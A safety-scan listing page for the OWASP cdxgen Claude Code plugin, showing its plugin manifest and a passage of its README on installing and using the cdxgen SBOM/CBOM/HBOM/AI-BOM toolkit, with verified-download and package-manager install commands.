cdxgen-plugins
OWASP cdxgen plugins for Claude Code
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Check it deeper on your machine
It has changed since its scan on 11 Nov 2026. Its scripts were only partly scanned.
As a Claude Code plugin, install it and then ask Claude Code:
/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/cdxgen/cdxgen with scanskillsafety
Or from a terminal, clone it and run it:
git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/cdxgen/cdxgen'
It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.
Badge for your README
Markdown
[](/listings/appthreat--cdxgen)HTML
<a href="/listings/appthreat--cdxgen"><img src="/api/listings/appthreat--cdxgen/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
> [!IMPORTANT] > **The npm package was renamed in v13.** v13 and later are published as > [`@cdxgen/cdxgen`][npmjs-cdxgen]. v12 and earlier are published as > [`@cyclonedx/cdxgen`][npmjs-cdxgen-v12], which stays on npm and continues to > receive fixes on the `release/12.0.x` branch, but does not receive v13 > features. > > Upgrading means changing the package name, not just the version: > > ```shell > npm uninstall -g @cyclonedx/cdxgen > npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2 > ``` > > The `cdxgen` command, the CLI flags, and the container images are unchanged. > If you import cdxgen as a library, update the specifier: > `import { createBom } from "@cdxgen/cdxgen"`.
cdxgen is distributed three ways. The **standalone executables** and **container images** are the recommended choice for CI, production, and any environment where you want a self-contained tool with no Node.js dependency. The npm package is an alternative when you already manage JavaScript tooling or need cdxgen as a library. See [npm and JavaScript package managers](#npm-and-javascript-package-managers) below.
Regardless of how you install, the following commands are available:
| Command | Purpose | Standalone GitHub release binary | | --------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | | `cdxgen` | Generate CycloneDX / SPDX BOMs from source, images, binaries, git URLs, or purls | yes | | `aibom` | Generate CycloneDX AI/ML BOMs from source, Hugging Face URLs/purls, Modelfiles, or GGUF artifacts (`-t ai` defaults) | yes | | `hbom` | Generate a CycloneDX hardware BOM for the current host | yes (`hbom`, `hbom-slim`) | | `tracebom` | Trace command execution to capture dynamic CBOM, cryptographic properties, software components, and services | yes | | `cdx-audit` | Prioritize existing BOM dependencies for upstream supply-chain review using explainable risk signals | yes | | `cdx-convert` | Convert CycloneDX JSON to SPDX 3.0.1 JSON-LD | yes | | `cdx-sign` | Sign BOMs with JSF signatures | yes | | `cdx-validate` | Validate BOMs and benchmark posture | yes | | `cdx-verify` | Verify BOM signatures | yes | | `cdxi` | Open the interactive REPL | no | | `evinse` | Add evidence, reachability, and service context | no | | `cbom` | Alias for CBOM-oriented `cdxgen` defaults | yes | | `obom` | Alias for `cdxgen -t os` | yes | | `saasbom` | Alias for SaaSBOM-oriented `cdxgen` defaults | yes |
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
.claude-plugin/marketplace.json · Manifest · 28 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.
- {
- "name": "cdxgen-plugins",
- "description": "OWASP cdxgen plugins for Claude Code",
- "owner": {
- "name": "Prabhu Subramanian",
- "email": "prabhu@appthreat.com",
- "url": "https://github.com/cdxgen/cdxgen"
- },
- "plugins": [
- {
- "name": "cdxgen",
- "source": "./agent-plugin",
- "displayName": "OWASP cdxgen",
- "description": "OWASP cdxgen toolkit for coding agents: generate, enrich, audit, sign, validate, convert, and explore CycloneDX BOMs (SBOM, CBOM, HBOM, OBOM, SaaSBOM, AI-BOM, VDR) across source code, containers, live hosts, and hardware.",
- "category": "security",
- "keywords": [
- "sbom",
- "cyclonedx",
- "supply-chain",
- "security",
- "compliance"
- ],
- "license": "Apache-2.0",
- "homepage": "https://cdxgen.github.io/cdxgen",
- "repository": "https://github.com/cdxgen/cdxgen"
- }
- ]
- }
README.md · README · 1,012 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.
- [](https://github.com/cdxgen/cdxgen)
- [](./AI-DECLARATION.md)
- [![JSR][badge-jsr]][jsr-cdxgen]
- [![NPM][badge-npm]][npmjs-cdxgen]
- [![GitHub Releases][badge-github-releases]][github-releases]
- [![NPM Downloads][badge-npm-downloads]][npmjs-cdxgen]
- [![GitHub License][badge-github-license]][github-license]
- [![GitHub Contributors][badge-github-contributors]][github-contributors]
- [![SWH][badge-swh]][swh-cdxgen]
- # CycloneDX Generator (cdxgen)
- <img src="./docs/_media/cdxgen.png" width="200" height="auto" />
- cdxgen is a CLI tool, library, [REPL](./ADVANCED.md), and server to create, validate, sign, and verify software BOMs. It generates CycloneDX JSON BOMs and supports SPDX 3.0.1 JSON-LD export. CycloneDX is a full-stack BOM specification that is easily created, human and machine-readable, and simple to parse. The tool generates BOMs targeting CycloneDX specification versions 1.6, 1.7, and 2.0, and the output can be downgraded to 1.4 or 1.5 for legacy consumers.
- Supported BOM formats:
- - Hardware (HBOM) - For supported live hosts such as Apple Silicon macOS, Linux amd64/arm64, and Windows amd64/arm64 systems.
- - Software (SBOM) - For many languages and container images.
- - Cryptography (CBOM) - For Java keystores and certificates, plus JavaScript and TypeScript source-level algorithm inventory.
- - Operations (OBOM) - For Linux container images and VMs running Linux or Windows operating systems.
- - Software-as-a-Service (SaaSBOM) - For Java, Python, JavaScript, TypeScript, and PHP projects.
- - AI/ML (AI-BOM) - For prompt files, AI services, MCP configs, and model metadata with explainable AI-governance, security, performance, and agentic findings.
- - Attestations (CDXA) - Generate SBOM with templates for multiple standards. Sign the BOM document at a granular level to improve authenticity.
- - Vulnerability Disclosure Report (VDR) - Use cdxgen with [OWASP depscan](https://github.com/owasp-dep-scan/dep-scan) to automate the generation of VDR at scale.
- Supported output document formats:
- - CycloneDX JSON (primary native format)
- - SPDX 3.0.1 JSON-LD (`cdxgen --format spdx` or `cdx-convert`)
- ## Choose your path
- | Persona | What cdxgen helps you do | First command | Read next |
- | --------------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
- | **Developers** | Generate a CycloneDX BOM from a local repo, git URL, purl, or container image | `cdxgen -o bom.json .` | [CLI Usage][docs-cli], [Supported Project Types][docs-project-types] |
- | **AI platform teams** | Generate AI/ML BOMs, catalog prompt/model/MCP surfaces, and run AI-BOM governance | `aibom .` | [AI-BOM Guide](docs/AI_BOM.md), [AI-BOM lesson](docs/LESSON15.md) |
- | **Hardware teams** | Generate an HBOM or merged HBOM+OBOM host view for the current host | `hbom -o hbom.json` | [HBOM guide](docs/HBOM.md), [HBOM lesson](docs/LESSON13.md) |
- | **AppSec** | Enrich BOMs with evidence, run BOM audit rules, and feed downstream security workflows | `cdxgen -o bom.json --profile appsec --evidence --bom-audit .` | [BOM Audit](docs/BOM_AUDIT.md), [Threat Model](docs/THREAT_MODEL.md) |
- | **Build engineers** | Grade how completely the SBOM captured the project, and get ranked fixes when the build environment degraded it | `cdxgen --profile introspect --introspect-fail-below 70 -o bom.json .` | [Build Introspection](docs/INTROSPECTION.md), [Fidelity loop skill](.agents/skills/sbom-fidelity-loop/SKILL.md) |
- | **SOC analysts** | Build OBOM inventories for live hosts and triage runtime posture issues | `obom -o obom.json --deep --bom-audit --bom-audit-categories obom-runtime` | [OBOM lessons](docs/OBOM_LESSONS.md), [Server Usage][docs-server] |
- | **Compliance teams** | Validate BOM quality, check SCVS/CRA posture, and export SPDX deliverables | `cdx-validate -i bom.json --benchmark scvs-l2,cra` | [cdx-validate](docs/CDX_VALIDATE.md), [cdx-convert](docs/CDX_CONVERT.md), [Permissions][docs-permissions] |
- | **Security Teams** | Dynamically trace executions to capture cryptographic activities, CBOM properties, software components, and services | `tracebom --cmd "npm test" --trace-crypto -o cbom.json` | [Threat Model](docs/THREAT_MODEL.md) |
- ### Role-based quick starts
- #### For developers
- - Start with a local path, git URL, or purl and generate a BOM in one command.
- - Use [Supported Project Types][docs-project-types] to confirm ecosystem coverage before wiring cdxgen into CI.
- #### For hardware and platform teams
- - Use `hbom` when you need a CycloneDX hardware inventory for the current host rather than a software dependency graph.
- - Start with the [HBOM guide](docs/HBOM.md) and the [HBOM lesson](docs/LESSON13.md) for supported platforms, enrichment options, and validation workflows.
- - Use `hbom --dry-run` first when you want a read-only partial HBOM plus an exact list of blocked hardware probe commands before a full collection run.
- - Use `hbom diagnostics` when you want a focused summary of missing native utilities and permission-denied enrichments before deciding whether to install host packages or rerun with `--privileged`.
- - Use `hbom --include-runtime` when you want one topology-aware CycloneDX host document that merges hardware inventory with runtime evidence using strict, non-guessing joins.
- #### For AppSec
- - Use `--profile appsec`, `--evidence`, and `--bom-audit` when you want richer security context.
- - Combine generation with [BOM Audit](docs/BOM_AUDIT.md), [cdx-validate](docs/CDX_VALIDATE.md), signing, and verification for a fuller secure-SBOM workflow.
- - Use `tracebom` to dynamically profile applications & services and capture negotiated TLS cipher suites, protocols, cryptographic libraries, dynamically resolved software components, and services in CycloneDX 1.7 format.
- #### For AI platform and governance teams
- - Use `--include-formulation` plus `--bom-audit --bom-audit-categories ai-bom` when you want one AI-BOM workflow for prompt files, AI services, MCP configs, and model metadata.
- - Use `aibom` when you want the same defaults in one dedicated CLI, including direct Hugging Face purls/URLs and direct Modelfile / `.gguf` inputs.
- - Start with the [AI-BOM Guide](docs/AI_BOM.md) and the [AI-BOM lesson](docs/LESSON15.md) for the preferred alias, review flow, and category breakdown.
- #### For SOC analysts
- - Use `obom` for live-system and runtime inventory on Linux, Windows, and macOS hosts.
- - Focus on [OBOM lessons](docs/OBOM_LESSONS.md) when you need host triage, persistence review, Linux GTFOBins-backed runtime analysis, hardening drift review, or incident-response evidence.
- #### For compliance and platform governance
- - Use `cdx-validate` to assess structural and compliance posture, then `cdx-convert` when SPDX output is required.
- - Review [Permissions][docs-permissions] and hardened-environment guidance before adopting cdxgen in controlled pipelines.
- ## Why cdxgen?
- Most SBOM tools are like simple barcode scanners. For easy applications, they can parse a few package manifests and create a list of components only based on these files without any deep inspection. Further, a typical application might have several repos, components, and libraries with complex build requirements. Traditional techniques to generate an SBOM per language or package manifest either do not work in enterprise environments or don't provide the confidence required for both compliance and automated analysis. So we built cdxgen - the universal polyglot SBOM generator that is user-friendly, precise, and comprehensive!
- **Our philosophy:**
- - _Explainability:_ Don't list, but explain with evidence.
- - _Precision:_ Try using multiple techniques to improve precision, even if it takes extra time.
- - _Personas:_ Cater to the needs of a range of personas such as security researchers, compliance auditors, developers, and SOC.
- - _Machine Learning:_ Optimize the generated data for Machine Learning (ML) purposes by considering the various model properties.
- - _Safety:_ Execute external build tools and handle untrusted inputs defensively, with hardened defaults, a [secure mode](docs/PERMISSIONS.md) for sensitive environments, and a read-only `--dry-run` mode for review-first workflows.
- ## Documentation
- Please visit our [documentation site][docs-homepage] for detailed usage, tutorials, and support documentation.
- Sections include:
- - [Getting Started][docs-homepage]
- - [CLI Usage][docs-cli]
- - [Migration to v13](MIGRATING-TO-V13.md)
- - [HBOM Guide](docs/HBOM.md)
- - [Merged Host View Lesson](docs/LESSON13.md)
- - [Server Usage][docs-server]
- - [Hands-on Lessons](docs/LESSON8.md)
- - [Container Escape & Privilege Lesson](docs/LESSON9.md)
- - [HBOM Lesson](docs/LESSON13.md)
- - [Supported Project Types][docs-project-types]
- - [Environment Variables][docs-env-vars]
- - [Advanced Usage][docs-advanced-usage]
- - [Permissions][docs-permissions]
- - [cdx-audit Guide](docs/CDX_AUDIT.md)
- - [cdx-convert Guide](docs/CDX_CONVERT.md)
- - [cdx-validate Guide](docs/CDX_VALIDATE.md)
- - [cdx-verify Guide](docs/CDX_VERIFY.md)
- - [cdx-sign Guide](docs/CDX_SIGN.md)
- - [Tracebom Guide](docs/TRACEBOM.md)
- - [AI-BOM Guide](docs/AI_BOM.md)
- - [MCP Inventory](docs/MCP.md)
- - [REPL Guide](docs/REPL.md)
- - [Custom Properties](docs/CUSTOM_PROPERTIES.md)
- - [Coding Agent Plugin](agent-plugin/README.md)
- - [Installing the plugin in coding agents](docs/AGENT_PLUGINS.md)
- - [Agent CI recipes](docs/AGENT_CI.md)
- - [Deprecations](docs/DEPRECATIONS.md)
- - [Security Policy](SECURITY.md)
- - [Threat Model](docs/THREAT_MODEL.md)
- - [Support (Enterprise & Community)][docs-support]
- ## Usage
- ## Installing
- > [!IMPORTANT]
- > **The npm package was renamed in v13.** v13 and later are published as
- > [`@cdxgen/cdxgen`][npmjs-cdxgen]. v12 and earlier are published as
- > [`@cyclonedx/cdxgen`][npmjs-cdxgen-v12], which stays on npm and continues to
- > receive fixes on the `release/12.0.x` branch, but does not receive v13
- > features.
- >
- > Upgrading means changing the package name, not just the version:
- >
- > ```shell
- > npm uninstall -g @cyclonedx/cdxgen
- > npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2
- > ```
- >
- > The `cdxgen` command, the CLI flags, and the container images are unchanged.
- > If you import cdxgen as a library, update the specifier:
- > `import { createBom } from "@cdxgen/cdxgen"`.
- cdxgen is distributed three ways. The **standalone executables** and **container
- images** are the recommended choice for CI, production, and any environment
- where you want a self-contained tool with no Node.js dependency. The npm package
- is an alternative when you already manage JavaScript tooling or need cdxgen as a
- library. See [npm and JavaScript package managers](#npm-and-javascript-package-managers)
- below.
- Regardless of how you install, the following commands are available:
- | Command | Purpose | Standalone GitHub release binary |
- | --------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- |
- | `cdxgen` | Generate CycloneDX / SPDX BOMs from source, images, binaries, git URLs, or purls | yes |
- | `aibom` | Generate CycloneDX AI/ML BOMs from source, Hugging Face URLs/purls, Modelfiles, or GGUF artifacts (`-t ai` defaults) | yes |
- | `hbom` | Generate a CycloneDX hardware BOM for the current host | yes (`hbom`, `hbom-slim`) |
- | `tracebom` | Trace command execution to capture dynamic CBOM, cryptographic properties, software components, and services | yes |
- | `cdx-audit` | Prioritize existing BOM dependencies for upstream supply-chain review using explainable risk signals | yes |
- | `cdx-convert` | Convert CycloneDX JSON to SPDX 3.0.1 JSON-LD | yes |
- | `cdx-sign` | Sign BOMs with JSF signatures | yes |
- | `cdx-validate` | Validate BOMs and benchmark posture | yes |
- | `cdx-verify` | Verify BOM signatures | yes |
- | `cdxi` | Open the interactive REPL | no |
- | `evinse` | Add evidence, reachability, and service context | no |
- | `cbom` | Alias for CBOM-oriented `cdxgen` defaults | yes |
- | `obom` | Alias for `cdxgen -t os` | yes |
- | `saasbom` | Alias for SaaSBOM-oriented `cdxgen` defaults | yes |
- | `spdxgen` | Alias for `cdxgen --format spdx` | use `cdxgen` |
- | `cdxgen-secure` | `cdxgen` in secure mode, with dependency installation always off | use `cdxgen` |
- Standalone GitHub release binaries are published for `cdxgen`, `cdxgen-slim`, `aibom`, `cbom`, `obom`, `saasbom`, `hbom`, `hbom-slim`, `cdx-audit`, `cdx-convert`, `cdx-sign`, `cdx-validate`, `cdx-verify`, and `tracebom`.
- `hbom` release binaries bundle both `@cdxgen/cdx-hbom` and the matching `@cdxgen/cdxgen-plugins-bin*` companion helpers for the target platform. `hbom-slim` keeps the dedicated hardware collector (`@cdxgen/cdx-hbom`) but omits the companion plugin bundle when you want the smallest single-file HBOM executable.
- The `cbom` and `saasbom` release binaries bundle the Atom analysis stack (`@appthreat/atom` and `@appthreat/atom-parsetools`) plus protobuf export support (`@cdxgen/cdx-proto` and `@bufbuild/protobuf`). As of atom 3, `cbom` and `saasbom` embed a native atom binary and need **no JDK** on linux-amd64, linux-arm64 (glibc), linux-amd64-musl, darwin-arm64, and windows-amd64. On the jar-kind triples (darwin-amd64, windows-arm64, and linux-arm64-musl), the embedded atom still runs on the JVM and requires Java 23+. The bundled atom-parsetools includes the `parsa` platform package for the target, so the JavaScript and TypeScript type maps behind usage evidence are produced natively on every triple that has one. The `obom` release binary bundles the matching platform plugin package, pruned to runtime OS inventory helpers, plus the same protobuf export support. These aliases therefore support `--export-proto --proto-bin-file <file>` without requiring a separate npm install.
- `cdx-audit` is designed to accelerate upstream dependency review with explainable, evidence-backed risk prioritization. It complements provenance, reproducibility, and manual investigation rather than replacing them. Beyond the basic `cdx-audit --bom bom.json` usage, it supports three reporters (`--report console|json|sarif`), scope selection (`--scope all|required`), trusted-publishing filters (`--include-trusted` and `--only-trusted`), and license policies via `--license-policy`. Non-zero exit codes on findings make it easy to gate CI pipelines. See the [cdx-audit guide](docs/CDX_AUDIT.md) for the full reference.
- For AI-heavy repositories, cdxgen also supports an AI-BOM workflow via the `aibom` command or the `-t ai` project type aliases (`ai`, `aibom`, `ai-bom`). This emits AI service/model evidence and pairs naturally with the `ai-bom` BOM-audit category alias for governance, security, performance, AI-agent, and MCP findings.
- For host inventories, `hbom --include-runtime` produces a merged HBOM + OBOM view with strict topology links such as interface-name, driver-module, storage/runtime (including Windows drive letters), and explicit secure-boot trust matches, plus a `host-topology` BOM audit pack for higher-confidence host findings. When the live hardware collector reports missing utilities or permission-sensitive enrichments, use `hbom diagnostics` (or inspect the derived `cdx:hbom:analysis:*` summary properties) before deciding whether a rerun with `--privileged` is justified. On Windows, `--privileged` only helps from an already-elevated session, and a non-administrator over SSH or WinRM is denied every WMI query; see [HBOM permissions](docs/PERMISSIONS.md#hbom-permissions).
- ### Standalone executables (recommended)
- For a self-contained tool with no runtime dependencies, download a published
- release asset and verify its hash before executing it. This is the recommended
- method for CI and production use.
- Common asset names:
- - `cdxgen-linux-amd64`
- - `cdxgen-linux-amd64-musl`
- - `cdxgen-darwin-arm64`
- - `cdxgen-windows-amd64.exe`
- - `aibom-linux-amd64`
- - `aibom-darwin-arm64`
- - `aibom-windows-amd64.exe`
- - `hbom-linux-amd64`
- - `hbom-linux-amd64-slim`
- - `hbom-darwin-arm64`
- - `hbom-windows-amd64.exe`
- - `cdx-audit-linux-amd64`
- - `cdx-audit-darwin-arm64`
- - `cdx-audit-windows-amd64.exe`
- - `cdx-convert-*`, `cdx-sign-*`, `cdx-validate-*`, `cdx-verify-*`
- #### Linux
- ```bash
- VERSION="v13.8.0"
- ASSET="cdx-audit-linux-amd64"
- BASE_URL="https://github.com/cdxgen/cdxgen/releases/download/${VERSION}"
- curl -fsSLO "${BASE_URL}/${ASSET}"
- curl -fsSLO "${BASE_URL}/${ASSET}.sha256"
- sha256sum -c "${ASSET}.sha256"
- chmod +x "${ASSET}"
- ./"${ASSET}" --help
- ```
- #### macOS
- ```bash
- VERSION="v13.8.0"
- ASSET="cdx-audit-darwin-arm64"
- BASE_URL="https://github.com/cdxgen/cdxgen/releases/download/${VERSION}"
- curl -fsSLO "${BASE_URL}/${ASSET}"
- curl -fsSLO "${BASE_URL}/${ASSET}.sha256"
- shasum -a 256 -c "${ASSET}.sha256"
- chmod +x "${ASSET}"
- ./"${ASSET}" --help
- ```
- #### Windows (PowerShell)
- ```powershell
- $Version = "v13.8.0"
- $Asset = "cdx-audit-windows-amd64.exe"
- $BaseUrl = "https://github.com/cdxgen/cdxgen/releases/download/$Version"
- Invoke-WebRequest -Uri "$BaseUrl/$Asset" -OutFile $Asset
- Invoke-WebRequest -Uri "$BaseUrl/$Asset.sha256" -OutFile "$Asset.sha256"
- $Expected = (Get-Content "$Asset.sha256" | Select-Object -First 1).Trim().Split()[0]
- $Actual = (Get-FileHash $Asset -Algorithm SHA256).Hash.ToLowerInvariant()
- if ($Actual -ne $Expected.ToLowerInvariant()) {
- throw "SHA256 mismatch for $Asset"
- }
- .\$Asset --help
- ```
- #### GitHub Actions with the GitHub CLI
- ```yaml
- permissions:
- contents: read
- steps:
- - name: Download cdx-audit release binary
- env:
- GH_TOKEN: ${{ github.token }}
- run: |
- gh release download v13.8.0 \
- --repo cdxgen/cdxgen \
- --pattern 'cdx-audit-linux-amd64' \
- --pattern 'cdx-audit-linux-amd64.sha256'
- sha256sum -c cdx-audit-linux-amd64.sha256
- chmod +x cdx-audit-linux-amd64
- ./cdx-audit-linux-amd64 --help
- ```
- Package managers that install the standalone executable with a single command:
- If you are a [Homebrew][homebrew-homepage] user, you can install [cdxgen][homebrew-cdxgen] via:
- ```shell
- $ brew install cdxgen
- ```
- If you are a [Winget][winget-homepage] user on windows, you can also install cdxgen via:
- ```shell
- winget install cdxgen
- ```
- ### Container images
- You can also use the cdxgen container image with node, deno, or bun runtime versions.
- The default version uses Node.js 26
- ```bash
- docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen:master -r /app -o /app/bom.json
- ```
- To use the deno version, use `ghcr.io/cdxgen/cdxgen-deno` as the image name.
- ```bash
- docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen-deno:master -r /app -o /app/bom.json
- ```
- For the bun version, use `ghcr.io/cdxgen/cdxgen-bun` as the image name.
- ```bash
- docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen-bun:master -r /app -o /app/bom.json
- ```
- ### npm and JavaScript package managers
- The npm package is an alternative when you already have Node.js >= 24 available
- or need cdxgen as a library. It is the least self-contained option because it
- relies on a JavaScript runtime and optional native companions.
- Install the npm package without the optional binary plugins for basic SBOM generation.
- **npm**:
- ```shell
- npm install -g @cdxgen/cdxgen --omit=optional --ignore-scripts --min-release-age=2
- ```
- For a full and rich experience with support for multiple BOM types, remove `--omit=optional`.
- ```shell
- npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2
- ```
- The optional dependencies also decide how JavaScript and TypeScript usage evidence is computed. `@appthreat/atom-parsetools` 2.0.0 writes the type maps for that evidence with its `parsa` binary, which type checks with TypeScript 7's checker and runs about four times faster than the TypeScript 6 fallback. The binary ships as one of six `@appthreat/parsa-<os>-<cpu>` platform packages listed as optional dependencies, so a plain install brings the one matching the host. An install with `--omit=optional` (or pnpm's `--no-optional`) keeps TypeScript 6 instead; astgen's own settings, such as `ASTGEN_TYPES` and `ASTGEN_NATIVE_BIN`, are documented in [atom-parsetools' ASTGEN.md](https://github.com/AppThreat/atom-parsetools/blob/main/docs/ASTGEN.md).
- **pnpm**:
- ```shell
- pnpm add -g @cdxgen/cdxgen --ignore-scripts --config.minimum-release-age=2880
- ```
- **bun**:
- ```shell
- bun install -g @cdxgen/cdxgen --ignore-scripts
- ```
- To run cdxgen without installing (hotloading), use the [pnpm dlx](https://pnpm.io/cli/dlx) command.
- ```shell
- corepack pnpm dlx @cdxgen/cdxgen --help
- ```
- You can call any packaged command the same way:
- ```shell
- corepack pnpm dlx --package=@cdxgen/cdxgen cdx-audit --help
- corepack pnpm dlx --package=@cdxgen/cdxgen cdx-convert --help
- corepack pnpm dlx --package=@cdxgen/cdxgen cdx-validate --help
- corepack pnpm dlx --package=@cdxgen/cdxgen cdx-sign --help
- corepack pnpm dlx --package=@cdxgen/cdxgen cdx-verify --help
- corepack pnpm dlx --package=@cdxgen/cdxgen hbom --help
- corepack pnpm dlx --package=@cdxgen/cdxgen hbom diagnostics --help
- corepack pnpm dlx --package=@cdxgen/cdxgen evinse --help
- corepack pnpm dlx --package=@cdxgen/cdxgen cdxi --help
- ```
- cdxgen also runs under the [bun](https://bun.sh) runtime, including `bunx --bun @cdxgen/cdxgen`. Bun projects using a text lockfile (`bun.lock`) are supported as an SBOM target via the `bun` project type (`-t bun`); the legacy binary lockfile (`bun.lockb`) is not parsed, so regenerate a text lockfile with `bun install --save-text-lockfile`.
- ```shell
- bun install -g @cdxgen/cdxgen --ignore-scripts
- ```
- cdxgen also runs under the [deno](https://deno.com) runtime. Deno projects with a lockfile (`deno.lock`, versions 2 - 5) are supported as an SBOM target via the `deno` project type (`-t deno`); `jsr:` imports are recorded under the `@jsr` npm-compat scope, `npm:` imports as regular npm components and remote `https://` imports as generic components.
- ```shell
- deno install --allow-read --allow-env --allow-run --allow-sys=uid,systemMemoryInfo,gid,homedir --allow-write --allow-net -n cdxgen "npm:@cdxgen/cdxgen/cdxgen"
- ```
- In deno applications, cdxgen could be directly imported without any conversion.
- ```ts
- import { createBom, submitBom } from "npm:@cdxgen/cdxgen@^13";
- ```
- ## Common workflows
- | Goal | First command | Read next |
- | ---------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
- | Generate a BOM from the current repository | `cdxgen -o bom.json .` | [CLI Usage][docs-cli] |
- | Generate a BOM from a git URL | `cdxgen -o bom.json https://github.com/example/project.git` | [CLI Usage][docs-cli] |
- | Generate a BOM from a package URL | `cdxgen -o bom.json "pkg:npm/lodash@4.17.21"` | [CLI Usage][docs-cli] |
- | Generate a dynamically traced CBOM for an application | `tracebom --cmd "npm test" --trace-crypto -o cbom.json` | [Threat Model](docs/THREAT_MODEL.md) |
- | Generate and audit an AI-BOM from the current repository | `cdxgen -r --include-formulation -o aibom.json --bom-audit --bom-audit-categories ai-bom .` | [AI-BOM Guide](docs/AI_BOM.md) |
- | Scan a container image | `cdxgen ghcr.io/owasp-dep-scan/depscan:nightly -o bom.json -t docker` | [Server Usage][docs-server] |
- | Audit a generated BOM for built-in supply-chain findings | `cdxgen -o bom.json --bom-audit .` | [BOM Audit](docs/BOM_AUDIT.md) |
- | Prioritize an existing BOM for upstream risk-driven review | `cdx-audit --bom bom.json` | [cdx-audit](docs/CDX_AUDIT.md) |
- | Re-audit a saved AI-BOM directly later | `cdx-audit --bom aibom.json --direct-bom-audit --categories ai-bom` | [AI-BOM Guide](docs/AI_BOM.md) |
- | Enrich and audit a Go BOM with Golem semantic evidence | `evinse -i bom.json -o bom.evinse.json -l go /absolute/path/to/go/project` | [Go Evinse with Golem](docs/GO_EVINSE_GOLEM.md) |
- | Re-audit a saved OBOM or BOM directly later | `cdx-audit --bom obom.json --direct-bom-audit --categories obom-runtime` | [cdx-audit](docs/CDX_AUDIT.md) |
- | Validate a BOM against structural and compliance checks | `cdx-validate -i bom.json` | [cdx-validate](docs/CDX_VALIDATE.md) |
- | Convert CycloneDX JSON to SPDX JSON-LD | `cdx-convert -i bom.json -o bom.spdx.json` | [cdx-convert](docs/CDX_CONVERT.md) |
- | Generate an OBOM for live-system triage | `obom -o obom.json --deep --bom-audit --bom-audit-categories obom-runtime` | [OBOM lessons](docs/OBOM_LESSONS.md) |
- | Review an offline rootfs for hardening drift | `cdxgen /absolute/path/to/rootfs -t rootfs -o bom.json --bom-audit --bom-audit-categories rootfs-hardening` | [BOM Audit](docs/BOM_AUDIT.md) |
- For the full option reference, use `cdxgen --help` or visit [CLI Usage][docs-cli].
- Companion commands also expose built-in help:
- - `cbom --help`
- - `cdx-audit --help`
- - `cdx-validate --help`
- - `cdx-convert --help`
- - `cdx-sign --help`
- - `cdx-verify --help`
- - `cdxgen-secure --help`
- - `cdxi --help`
- - `evinse --help`
- - `obom --help`
- - `saasbom --help`
- - `spdxgen --help`
- ## Example
- Minimal example.
- ```shell
- cdxgen -o bom.json
- ```
- The primary positional input can be:
- - a local filesystem path (default: current directory)
- - a git URL that cdxgen clones before scanning
- - a package URL (purl) that cdxgen resolves to source and then scans
- Common source input examples:
- ```shell
- # Local path
- cdxgen -o bom.json .
- # Git URL
- cdxgen -t java -o bom.json --git-branch main https://github.com/HooliCorp/java-sec-code.git
- # Package URL (purl)
- cdxgen -t js -o bom.json "pkg:npm/lodash@4.17.21"
- ```
- For a java project. cdxgen would automatically detect maven, gradle, or sbt and build bom accordingly
- ```shell
- cdxgen -t java -o bom.json
- ```
- To print the SBOM as a table pass `-p` argument.
- ```shell
- cdxgen -t java -o bom.json -p
- ```
- To recursively generate a single BOM for all languages pass `-r` argument.
- ```shell
- cdxgen -r -o bom.json
- ```
- To generate an SBOM directly from a git URL:
- ```shell
- cdxgen -t java -o bom.json --git-branch main https://github.com/HooliCorp/java-sec-code.git
- ```
- This works anywhere cdxgen expects its primary source input, so a git URL can be used in place of `.` or any other local path.
- To generate an SBOM from a package URL (purl), cdxgen resolves registry metadata to a repository URL, clones it, and scans it:
- ```shell
- cdxgen -t js -o bom.json "pkg:npm/lodash@4.17.21"
- ```
- Supported purl source types: `npm`, `pypi`, `gem`, `cargo`, `pub`, `github`, `bitbucket`, `maven` (version required), `composer`, and `generic` (with `vcs_url` or `download_url` qualifier).
- > **Warning:** Repository URLs resolved from registries may be inaccurate or malicious. Review resolved sources before trusting generated output.
- The default specification used by cdxgen is 1.7. To generate BOM for a different specification version, such as 1.6, pass the version number using the `--spec-version` argument. Accepted values are 1.6, 1.7, and 2.0. Versions 1.4 and 1.5 are only available as output downgrades, not as generation targets; generate at 1.6 or higher and then use `cdx-convert --to 1.5` for legacy consumers.
- ```shell
- # 1.6 is supported by most tools
- cdxgen -r -o bom.json --spec-version 1.6
- ```
- Use repeated `--component-type` values to include only selected CycloneDX component types. This is a filter, not an inventory enabler: passing a type such as `machine-learning-model` does not enable machine-learning model discovery, and filtering to a type that the scan does not generate can produce an empty component list. The allowed values are validated against `--spec-version`; for example, `cryptographic-asset` requires 1.6 or newer, and unsupported component types are pruned during compatibility downgrades. The dedicated `cbom` command does not accept `--component-type`; use `cdxgen --include-crypto` for normal generation plus filtering.
- ```shell
- cdxgen -t docker alpine:3.20 --spec-version 1.6 --component-type library --component-type data
- ```
